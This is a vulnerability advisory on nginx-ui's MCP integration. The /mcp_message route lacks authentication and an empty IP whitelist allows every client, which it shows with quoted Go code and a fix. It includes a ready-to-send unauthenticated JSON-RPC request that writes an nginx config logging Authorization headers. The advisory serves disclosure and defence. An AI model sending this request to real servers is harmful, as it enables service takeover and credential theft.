nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

### Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: `/mcp` and `/mcp_message`. While `/mcp` requires both IP whitelisting and authentication (`AuthRequired()` middleware), the `/mcp_message` endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. ### Details #### Vulnerable Code **`mcp/router.go:9-17` - Auth asymmetry between endpoints** ```go func InitRouter(r *gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) }) } ``` The `/mcp` endpoint has `middleware.AuthRequired()`, but `/mcp_message` does not. Both endpoints route to the same `mcp.ServeHTTP()` handler, which processes all MCP tool invocations. **`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all** ```go func IPWhiteList() gin.HandlerFunc { return func(c *gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } } ``` When `IPWhiteList` is empty (the default - `settings/auth.go` initializes `Auth{}` with no whitelist), the middleware allows all requests through. This is a fail-open design. #### Available MCP Tools (all invocable without auth) From `mcp/nginx/`: - `restart_nginx` - restart the nginx process - `reload_nginx` - reload nginx configuration - `nginx_status` - read nginx status From `mcp/config/`: - `nginx_config_add` - create new nginx config files - `nginx_config_modify` - modify existing config files - `nginx_config_list` - list all configurations - `nginx_config_get` - read config file contents - `nginx_config_enable` - enable/disable sites - `nginx_config_rename` - rename config files - `nginx_config_mkdir` - create directories - `nginx_config_history` - view config history - `nginx_config_base_path` - get nginx config directory path #### Attack Scenario 1. Attacker sends HTTP requests to `http://target:9000/mcp_message` (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes `nginx_config_modify` with `relative_path="nginx.conf"` to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs `Authorization` headers) 4. `nginx_config_add` auto-reloads nginx (`config_add.go:74`), or attacker calls `reload_nginx` directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied ### PoC **1. The auth asymmetry** is visible by comparing the two route registrations in `mcp/router.go`: ```go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) // Line 14 - /mcp_message does NOT: r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) }) ``` Both call the same `mcp.ServeHTTP(c)` handler, which dispatches all tool invocations. **2. The IP whitelist defaults to empty**, allowing all IPs. From `settings/auth.go`: ```go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice } ``` And the middleware at `internal/middleware/ip_whitelist.go:14` passes all requests when the list is empty: ```go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } ``` **3. Config writes auto-reload nginx.** From `mcp/config/config_add.go`: ```go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload ``` **4. Exploit request.** An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers: ```http POST /mcp_message HTTP/1.1 Content-Type: application/json { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }", "base_dir": "conf.d", "overwrite": true, "sync_node_ids": [] } }, "id": 1 } ``` No `Authorization` header is needed. The config is written and nginx reloads immediately. ### Impact - **Complete nginx service takeover**: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - **Traffic interception**: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - **Service disruption**: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - **Configuration exfiltration**: All existing nginx configs are readable via `nginx_config_get`, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - **Credential harvesting**: By injecting `access_log` directives with custom `log_format` patterns, the attacker can capture `Authorization` headers from administrators accessing nginx-ui, enabling escalation to the REST API ### Remediation Add `middleware.AuthRequired()` to the `/mcp_message` route: ```go r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) }) ``` Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

Quoted source text, attributed separately from HOL analysis.